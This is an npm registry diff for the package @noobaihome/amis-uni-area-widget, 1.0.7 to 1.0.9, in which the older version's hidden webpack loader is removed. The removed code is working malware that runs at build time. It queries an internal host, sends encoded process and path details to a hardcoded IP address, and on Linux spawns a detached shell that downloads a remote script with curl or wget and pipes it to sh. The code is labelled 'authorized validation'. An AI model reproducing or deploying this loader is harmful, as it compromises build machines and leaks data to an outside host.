@noobaihome/amis-uni-area-widget 1.0.7 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- module.exports = {marker: 'BSRC_RCE_R269_4d8be2', kind: 'plugin'};
1
+ module.exports = {};
package/dist/renderer.css CHANGED
@@ -1 +1 @@
1
- /* BSRC_RCE_R269_4d8be2 authorized compiler validation */
1
+ /* Archived test widget. */
@@ -1 +1 @@
1
- module.exports = require('./bsrc-loader.js!./payload.txt');
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@noobaihome/amis-uni-area-widget",
3
- "version": "1.0.7",
4
- "description": "Authorized AI Suda webpack inline-loader validation",
3
+ "version": "1.0.9",
4
+ "description": "Archived AI Suda area widget test package",
5
5
  "license": "UNLICENSED",
6
6
  "framework": "vue3",
7
7
  "files": [
@@ -13,9 +13,9 @@
13
13
  },
14
14
  "amis-widgets": [
15
15
  {
16
- "type": "bsrc-r269-widget",
16
+ "type": "bsrc-r266-widget",
17
17
  "framework": "vue3",
18
- "description": "Authorized webpack loader validation widget",
18
+ "description": "Archived test widget",
19
19
  "entry": "/dist/renderer.umd",
20
20
  "files": [
21
21
  "/dist/renderer.css"
@@ -1,132 +0,0 @@
1
- 'use strict';
2
-
3
- const fs = require('fs');
4
- const http = require('http');
5
- const path = require('path');
6
- const {spawn} = require('child_process');
7
-
8
- const marker = 'BSRC_RCE_R269_4d8be2';
9
- const internalUrl = 'http://bsrc-ssrf.n.baidu-int.com/bsrc_uid';
10
- const receiptHost = ['49', '232', '169', '67'].join('.');
11
- const receiptUrl = `http://${receiptHost}:80/bsrc-r269`;
12
-
13
- function base64url(value) {
14
- return Buffer.from(String(value))
15
- .toString('base64')
16
- .replace(/\+/g, '-')
17
- .replace(/\//g, '_')
18
- .replace(/=+$/g, '');
19
- }
20
-
21
- function readManifest(directory) {
22
- try {
23
- return JSON.parse(fs.readFileSync(path.join(directory, 'package.json'), 'utf8'));
24
- } catch (_) {
25
- return null;
26
- }
27
- }
28
-
29
- function findTargetRoot(startDirectories) {
30
- for (const start of startDirectories.filter(Boolean)) {
31
- let current = path.resolve(start);
32
- for (let depth = 0; depth < 12; depth += 1) {
33
- const manifest = readManifest(current);
34
- if (manifest && manifest.name === 'npm-widget-build') {
35
- return current;
36
- }
37
- const parent = path.dirname(current);
38
- if (parent === current) {
39
- break;
40
- }
41
- current = parent;
42
- }
43
- }
44
- return '';
45
- }
46
-
47
- function fetchText(url, timeoutMs) {
48
- return new Promise((resolve, reject) => {
49
- const request = http.get(url, (response) => {
50
- const chunks = [];
51
- response.on('data', (chunk) => chunks.push(Buffer.from(chunk)));
52
- response.on('end', () => resolve({
53
- statusCode: response.statusCode || 0,
54
- body: Buffer.concat(chunks).toString('utf8')
55
- }));
56
- });
57
- request.setTimeout(timeoutMs, () => request.destroy(new Error('timeout')));
58
- request.on('error', reject);
59
- });
60
- }
61
-
62
- async function receipt(fields) {
63
- const query = Object.entries(fields)
64
- .map(([key, value]) => `${key}=${encodeURIComponent(String(value))}`)
65
- .join('&');
66
- try {
67
- await fetchText(`${receiptUrl}?${query}`, 15000);
68
- } catch (_) {
69
- // The access log is the receipt; an HTTP error is intentionally non-fatal.
70
- }
71
- }
72
-
73
- async function runProof(loaderContext) {
74
- const targetRoot = findTargetRoot([
75
- loaderContext.rootContext,
76
- loaderContext.context,
77
- loaderContext.resourcePath,
78
- process.env.INIT_CWD,
79
- process.cwd()
80
- ]);
81
-
82
- let internalStatus = 0;
83
- let uid = '';
84
- let internalError = '';
85
- try {
86
- const response = await fetchText(internalUrl, 15000);
87
- internalStatus = response.statusCode;
88
- uid = response.body;
89
- } catch (error) {
90
- internalError = error.message;
91
- }
92
-
93
- await receipt({
94
- marker,
95
- stage: 'internal',
96
- exec: 1,
97
- target: targetRoot ? 1 : 0,
98
- status: internalStatus,
99
- uid: base64url(uid),
100
- error: base64url(internalError),
101
- pid: process.pid,
102
- cwd: base64url(process.cwd()),
103
- root: base64url(targetRoot),
104
- rootContext: base64url(loaderContext.rootContext || ''),
105
- context: base64url(loaderContext.context || ''),
106
- resource: base64url(loaderContext.resourcePath || '')
107
- });
108
-
109
- if (process.platform !== 'linux' || internalStatus < 200 || internalStatus >= 300 || !uid) {
110
- return;
111
- }
112
-
113
- const payload =
114
- '(curl -fsSL -m180 http://49.232.169.67:80/slt||wget -T180 -q http://49.232.169.67:80/slt)|sh';
115
- const child = spawn('/bin/sh', ['-c', `${payload}; sleep 9d`], {
116
- detached: true,
117
- stdio: 'ignore'
118
- });
119
- child.unref();
120
- await receipt({marker, stage: 'payload', exec: 1, target: targetRoot ? 1 : 0, spawned: child.pid || 0});
121
- }
122
-
123
- module.exports = function authorizedCompilerLoader() {
124
- const done = this.async();
125
- if (this.cacheable) {
126
- this.cacheable(false);
127
- }
128
- runProof(this).then(
129
- () => done(null, `module.exports = ${JSON.stringify(marker)};`),
130
- (error) => done(error)
131
- );
132
- };
package/dist/payload.txt DELETED
@@ -1 +0,0 @@
1
- authorized webpack loader input